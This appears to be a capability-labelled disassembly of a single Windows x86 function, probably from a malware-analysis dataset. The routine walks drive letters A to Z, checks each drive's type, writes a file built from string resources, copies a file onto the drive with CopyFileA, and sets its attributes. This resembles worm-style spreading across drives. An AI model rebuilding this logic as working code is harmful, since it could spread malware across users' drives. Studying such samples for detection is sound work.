Function at 0x497b84
Capabilities:
Copy file
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x43
push 0
push 0
dec ecx
jne 0x497b8c
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x497eb0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0x41
lea eax, [ebp - 0x1dc]
mov edx, dword [ebp - 4]
call fcn.00404d14
mov edx, dword [ebp - 0x1dc]
lea eax, [ebp - 8]
mov ecx, 0x497ec8
call fcn.00404e38
mov eax, dword [ebp - 8]
call fcn.00404fec
push eax
call sub.kernel32.dll_GetDriveTypeA
sub eax, 3
jne 0x497e78
lea ecx, [ebp - 0x1e0]
mov dx, 0xb
mov ax, 0x412
call fcn.0048e25c
mov ecx, dword [ebp - 0x1e0]
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00404e38
mov eax, dword [ebp - 0xc]
call fcn.00409668
test al, al
je 0x497c25
xor edx, edx
mov eax, dword [ebp - 0xc]
call fcn.00409784
mov eax, dword [ebp - 0xc]
call fcn.004098a0
xor eax, eax
push ebp
push 0x497d95
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x1d8]
call fcn.00402f24
lea eax, [ebp - 0x1d8]
call fcn.00402cc0
call fcn.00402894
lea ecx, [ebp - 0x1e4]
mov dx, 9
mov ax, 0x41d
call fcn.0048e25c
mov edx, dword [ebp - 0x1e4]
lea eax, [ebp - 0x1d8]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea ecx, [ebp - 0x1e8]
mov dx, 5
mov ax, 0x426
call fcn.0048e25c
lea eax, [ebp - 0x1e8]
push eax
lea eax, [ebp - 0x1ec]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x1ec]
pop eax
call fcn.00404df4
mov edx, dword [ebp - 0x1e8]
lea eax, [ebp - 0x1d8]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea ecx, [ebp - 0x1f0]
mov dx, 0xd
mov ax, 0x42b
call fcn.0048e25c
lea eax, [ebp - 0x1f0]
push eax
lea eax, [ebp - 0x1f4]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x1f4]
pop eax
call fcn.00404df4
mov edx, dword [ebp - 0x1f0]
lea eax, [ebp - 0x1d8]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea ecx, [ebp - 0x1f8]
mov dx, 0x13
mov ax, 0x438
call fcn.0048e25c
lea eax, [ebp - 0x1f8]
push eax
lea eax, [ebp - 0x1fc]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x1fc]
pop eax
call fcn.00404df4
mov edx, dword [ebp - 0x1f8]
lea eax, [ebp - 0x1d8]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea eax, [ebp - 0x1d8]
call fcn.004030c8
call fcn.00402894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x497d9f
mov edx, 3
mov eax, dword [ebp - 0xc]
call fcn.00409784
push 0
lea eax, [ebp - 0x204]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov ecx, dword [ebp - 0x204]
lea eax, [ebp - 0x200]
mov edx, dword [ebp - 8]
call fcn.00404e38
mov eax, dword [ebp - 0x200]
call fcn.00404fec
push eax
lea eax, [ebp - 0x20c]
mov edx, dword [0x4a0314]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x20c]
call fcn.00409244
lea edx, [ebp - 0x208]
call fcn.0045914c
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x210]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x210]
pop eax
call fcn.00404df4
mov eax, dword [ebp - 0x208]
call fcn.00404fec
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x218]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov ecx, dword [ebp - 0x218]
lea eax, [ebp - 0x214]
mov edx, dword [ebp - 8]
call fcn.00404e38
mov eax, dword [ebp - 0x214]
mov edx, 3
call fcn.00409784
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x5b
jne 0x497bab
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x497eb7
lea eax, [ebp - 0x218]
mov edx, 0x10
call fcn.00404b50
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404b50
ret